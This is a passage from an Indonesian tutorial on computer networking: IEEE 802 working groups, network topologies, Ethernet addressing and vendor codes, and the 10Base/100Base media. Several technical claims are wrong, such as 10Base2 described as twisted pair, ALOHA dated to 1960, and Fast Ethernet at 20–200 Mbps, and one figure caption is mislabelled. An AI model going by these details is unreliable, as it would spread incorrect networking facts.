2 Datalink LLC Network Interface PPP (Point to Point Protocol) Protokol untuk point ke point
SLIP (Serial Line Internet Protocol) Protokol dengan menggunakan sambungan serial
MAC
Ethernet, FDDI, ISDN, ATM
1 Fisik
Standarisasi masalah jaringan tidak hanya dilakukan oleh ISO saja, tetapi juga diselenggarakan oleh badan dunia lainnya seperti ITU (International Telecommunication Union), ANSI (American National Standard Institute), NCITS (National Committee for Information Technology Standardization), bahkan juga oleh lembaga asosiasi profesi IEEE (Institute of Electrical and Electronics Engineers) dan ATM-Forum di Amerika. Pada prakteknya bahkan vendor-vendor produk LAN bahkan memakai standar yang dihasilkan IEEE. Kita bisa lihat misalnya badan pekerja yang dibentuk oleh IEEE yang banyak membuat standarisasi peralatan telekomunikasi seperti yang tertera pada Tabel 2.
Tabel 2. Badan pekerja di IEEE
WORKING GROUP
BENTUK KEGIATAN
IEEE802.1  Standarisasi interface lapisan atas HILI (High Level Interface) dan Data Link termasuk
 MAC (Medium Access Control) dan LLC (Logical Link Control)
IEEE802.2  Standarisasi lapisan LLC
IEEE802.3  Standarisasi lapisan MAC untuk CSMA/CD (10Base5, 10Base2, 10BaseT, dll.)
IEEE802.4  Standarisasi lapisan MAC untuk Token Bus
IEEE802.5  Standarisasi lapisan MAC untuk Token Ring
IEEE802.6  Standarisasi lapisan MAC untuk MAN-DQDB (Metropolitan Area Network-Distributed
 Queue Dual Bus.)
IEEE802.7  Grup pendukung BTAG (Broadband Technical Advisory Group) pada LAN
IEEE802.8  Grup pendukung FOTAG (Fiber Optic Technical Advisory Group.)
IEEE802.9  Standarisasi ISDN (Integrated Services Digital Network) dan IS (Integrated Services ) LAN
IEEE802.10  Standarisasi masalah pengamanan jaringan (LAN Security.)
IEEE802.11  Standarisasi masalah wireless LAN dan CSMA/CD bersama IEEE802.3
IEEE802.12  Standarisasi masalah 100VG-AnyLAN
IEEE802.14  Standarisasi masalah protocol CATV

TOPOLOGI JARINGAN KOMPUTER
    Topologi adalah suatu cara menghubungkan komputer yang satu dengan komputer lainnya sehingga membentuk jaringan. Cara yang saat ini banyak digunakan adalah bus, token-ring, star dan peer-to-peer network. Masing-masing topologi ini mempunyai ciri khas, dengan kelebihan dan kekurangannya sendiri.
  1. Topologi BUS
Topologi bus terlihat pada skema di atas. Terdapat keuntungan dan kerugian dari tipe ini yaitu:
Keuntungan:                              Kerugian:
- Hemat kabel                            - Deteksi dan isolasi kesalahan sangat kecil
- Layout kabel sederhana           - Kepadatan lalu lintas
- Mudah dikembangkan              - Bila salah satu client rusak, maka jaringan tidak bisa berfungsi.
                                                - Diperlukan repeater untuk jarak jauh
  1. Topologi TokenRING
Topologi TokenRING terlihat pada skema di atas. Metode token-ring (sering disebut ring saja) adalah cara menghubungkan komputer sehingga berbentuk ring (lingkaran). Setiap simpul mempunyai tingkatan yang sama. Jaringan akan disebut sebagai loop, data dikirimkan kesetiap simpul dan setiap
informasi yang diterima simpul diperiksa alamatnya apakah data itu untuknya atau bukan. Terdapat keuntungan dan kerugian dari tipe ini yaitu:
Keuntungan:                              Kerugian:
- Hemat kabel                            - Peka kesalahan
                                                - Pengembangan jaringan lebih kaku
  1. Topologi STAR
Merupakan kontrol terpusat, semua link harus melewati pusat yang menyalurkan data tersebut kesemua simpul atau client yang dipilihnya. Simpul pusat dinamakan stasium primer atau server dan lainnya dinamakan stasiun sekunder atau client server. Setelah hubungan jaringan dimulai oleh server maka setiap client server sewaktu-waktu dapat menggunakan hubungan jaringan tersebut tanpa menunggu perintah dari server. Terdapat keuntungan dan kerugian dari tipe ini yaitu:
Keuntungan:
- Paling fleksibel                      
- Pemasangan/perubahan stasiun sangat mudah dan tidak mengganggu bagian jaringan lain
- Kontrol terpusat
- Kemudahan deteksi dan isolasi kesalahan/kerusakan
- Kemudahaan pengelolaan jaringan
Kerugian:
- Boros kabel                     
- Perlu penanganan khusus
- Kontrol terpusat (HUB) jadi elemen kritis
  1. Topologi Peer-to-peer Network
Peer artinya rekan sekerja. Peer-to-peer network adalah jaringan komputer yang terdiri dari beberapa komputer (biasanya tidak lebih dari 10 komputer dengan 1-2 printer). Dalam sistem jaringan ini yang diutamakan adalah penggunaan program, data dan printer secara bersama-sama. Pemakai komputer bernama Dona dapat memakai program yang dipasang di komputer Dino, dan mereka berdua dapat mencetak ke printer yang sama pada saat yang bersamaan.
Sistem jaringan ini juga dapat dipakai di rumah. Pemakai komputer yang memiliki komputer ‘kuno’, misalnya AT, dan ingin memberli komputer baru, katakanlah Pentium II, tidak perlu membuang komputer lamanya. Ia cukup memasang netword card di kedua komputernya kemudian dihubungkan dengan kabel yang khusus digunakan untuk sistem jaringan. Dibandingkan dengan ketiga cara diatas, sistem jaringan ini lebih sederhana sehingga lebih mudah dipelajari dan dipakai.

ETHERNET
    Ethernet adalah sistem jaringan yang dibuat dan dipatenkan perusahaan Xerox. Ethernet adalah implementasi metoda CSMA/CD (Carrier Sense Multiple Access with Collision Detection) yang dikembangkan tahun 1960 pada proyek wireless ALOHA di Hawaii University diatas kabel coaxial. Standarisasi sistem ethernet dilakukan sejak tahun 1978 oleh IEEE. (lihat Tabel 2.) Kecepatan transmisi data di ethernet sampai saat ini adalah 10 sampai 100 Mbps. Saat in yang umum ada dipasaran adalah ethernet berkecepatan 10 Mbps yang biasa disebut seri 10Base. Ada bermacam-macam jenis 10Base diantaranya adalah: 10Base5, 10Base2, 10BaseT, dan 10BaseF yang akan diterangkan lebih lanjut kemudian.
     Pada metoda CSMA/CD, sebuah host komputer yang akan mengirim data ke jaringan pertama-tama memastikan bahwa jaringan sedang tidak dipakai untuk transfer dari dan oleh host komputer lainnya. Jika pada tahap pengecekan ditemukan transmisi data lain dan terjadi tabrakan (collision), maka host komputer tersebut diharuskan mengulang permohonan (request) pengiriman pada selang waktu berikutnya yang dilakukan secara acak (random). Dengan demikian maka jaringan efektif bisa digunakan secara bergantian.
    Untuk menentukan pada posisi mana sebuah host komputer berada, maka tiap-tiap perangkat ethernet diberikan alamat (address) sepanjang 48 bit yang unik (hanya satu di dunia). Informasi alamat disimpan dalam chip yang biasanya nampak pada saat komputer di start dalam urutan angka berbasis 16, seperti pada Gambar 3.
 
Gambar 3. Contoh ethernet address.
48 bit angka agar mudah dimengerti dikelompokkan masing-masing 8 bit untuk menyetakan bilangan berbasis 16 seperti contoh di atas (00 40 05 61 20 e6), 3 angka didepan adalah kode perusahaan pembuat chip tersebut. Chip diatas dibuat oleh ANI Communications Inc. Contoh vendor terkenal bisa dilihat di Tabel 3, dan informasi lebih lengkap lainnya dapat diperoleh di http://standards.ieee.org/regauth/oui/index.html
Tabel 3. Daftar vendor terkenal chip ethernet
NOMOR KODE
NAMA VENDOR
00:00:0C  Sisco System
00:00:1B  Novell
00:00:AA  Xerox
00:00:4C  NEC
00:00:74  Ricoh
08:08:08  3COM
08:00:07  Apple Computer
08:00:09  Hewlett Packard
08:00:20  Sun Microsystems
08:00:2B  DEC
08:00:5A  IBM
Dengan berdasarkan address ehternet, maka setiap protokol komunikasi (TCP/IP, IPX, AppleTalk, dll.) berusaha memanfaatkan untuk informasi masing-masing host komputer dijaringan.
  1. 10Base5
    Sistem 10Base5 menggunakan kabel coaxial berdiameter 0,5 inch (10 mm) sebagai media penghubung berbentuk bus seperti pad Gambar 4. Biasanya kabelnya berwarna kuning dan pada kedua ujung kebelnya diberi konsentrator sehingga mempunyai resistansi sebesar 50 ohm. Jika menggunakan 10Base5, satu segmen jaringan bisa sepanjang maksimal 500 m, bahkan jika dipasang penghubung (repeater) sebuah jaringan bisa mencapai panjang maksimum 2,5 km.
    Seperti pada Gambar 5, antara NIC (Network Interface Card) yang ada di komputer (DTE, Data Terminal Equipment) dengan media transmisi bus (kabel coaxial)-nya diperlukan sebuah transceiver (MAU, Medium Attachment Unit). Antar MAU dibuat jarak minimal 2,5 m, dan setiap segment hanya mampu menampung sebanyak 100 unit. Konektor yang dipakai adalah konektor 15 pin.

    Gambar 4. Jaringan dengan media 10Base5.

    Gambar 5. Struktur 10Base5.
  2. 10Base2
    Seperti pada jaringan 10Base5, 10Base2 mempunyai struktur jaringan berbentuk bus. (Gambar 6). Hanya saja kabel yang digunakan lebih kecil, berdiameter 5 mm dengan jenis twisted pair. Tidak diperlukan MAU kerena MAU telah ada didalam NIC-nya sehingga bisa menjadi lebih ekonomis. Karenanya jaringan ini dikenal juga dengan sebutan CheaperNet. Dibandingkan dengan jaringan 10Base5, panjang maksimal sebuah segmennya menjadi lebih pendek, sekitar 185 m, dan bisa disambbung sampai 5 segmen menjadi sekitar 925 m. Sebuah segmen hanya mampu menampung tidak lebih dari 30 unit komputer saja. Pada jaringan ini pun diperlukan konsentrator yang membuat ujung-ujung media transmisi busnya menjadi beresistansi 50 ohm. Untuk jenis konektor dipakai jenis BNC.

    Gambar 6. Jaringan dengan media 10Base5.

    Gambar 7. Struktur 10Base2.
  3. 10BaseT
    Berbeda dengan 2 jenis jaringan diatas, 10BaseT berstruktur bintang (star) seperti terlihat di Gambar 8. Tidak diperlukan MAU kerena sudah termasuk didalam NIC-nya. Sebagai pengganti konsentrator dan repeater diperlukan hub karena jaringan berbentuk star. Panjang sebuah segmen jaringan maksimal 100 m, dan setiap hub bisa dihubungkan untuk memperpanjang jaringan sampai 4 unit sehingga maksimal komputer tersambung bisa mencapai 1024 unit.

    Gambar 8. Jaringan dengan media 10BaseT.

    Gambar 9. Struktur 10BaseT.
    Menggunakan konektor modular jack RJ-45 dan kabel jenis UTP (Unshielded Twisted Pair) seperti kabel telepon di rumah-rumah. Saat ini kabel UTP yang banyak digunakan adalah jenis kategori 5 karena bisa mencapai kecepatan transmisi 100 Mbps. Masing-masing jenis kabel UTP dan kegunaanya bisa dilihat di Table 4.
    Tabel 4. Jenis kabel UTP dan aplikasinya.
    KATEGORI
    APLIKASI
    Category 1  Dipakai untuk komunikasi suara (voice), dan digunakan untuk kabel telepon di rumah-rumah
    Category 2  Terdiri dari 4 pasang kabel twisted pair dan bisa digunakan untuk komunikasi data sampai
     kecepatan 4 Mbps
    Category 3  Bisa digunakan untuk transmisi data dengan kecepatan sampai 10 Mbps dan digunakan
     untuk Ethernet dan TokenRing
    Category 4  Sama dengan category 3 tetapi dengan kecepatan transmisi sampai 16 Mbps
    Category 5  Bisa digunakan pada kecepatan transmisi sampai 100 Mbps, biasanya digunakan untuk
     FastEthernet (100Base) atau network ATM
  4. 10BaseF
    Bentuk jaringan 10BaseF sama dengan 10BaseT yakni berbentuk star. Karena menggunakan serat optik (fiber optic) untuk media transmisinya, maka panjang jarak antara NIC dan konsentratornya menjadi lebih panjang sampai 20 kali (2000 m). Demikian pula dengan panjang total jaringannya. Pada 10BaseF, untuk transmisi output (TX) dan input (RX) menggunakan kabel/media yang berbeda.

    Gambar 10. Struktur 10BaseF.

    Gambar 11. Foto NIC jenis 10Base5, 10Base2, dan 10BaseT.
  5. Fast Ethernet (100BaseT series)
    Selai jenis NIC yang telah diterangkan di atas, jenis ethernet chip lainnya adalah seri 100Base. Seri 100Base mempunyai beragam jenis berdasarkan metode akses datanya diantaranya adalah: 100Base-T4, 100Base-TX, dan 100Base-FX. Kecepatan transmisi seri 100Base bisa melebihi kecepatan chip pendahulunya (seri 10Base) antara 2-20 kali (20-200 Mbps). Ini dibuat untuk menyaingi jenis LAN berkecepatan tinggi lainnya seperti: FDDI, 100VG-AnyLAN dan lain sebagainya.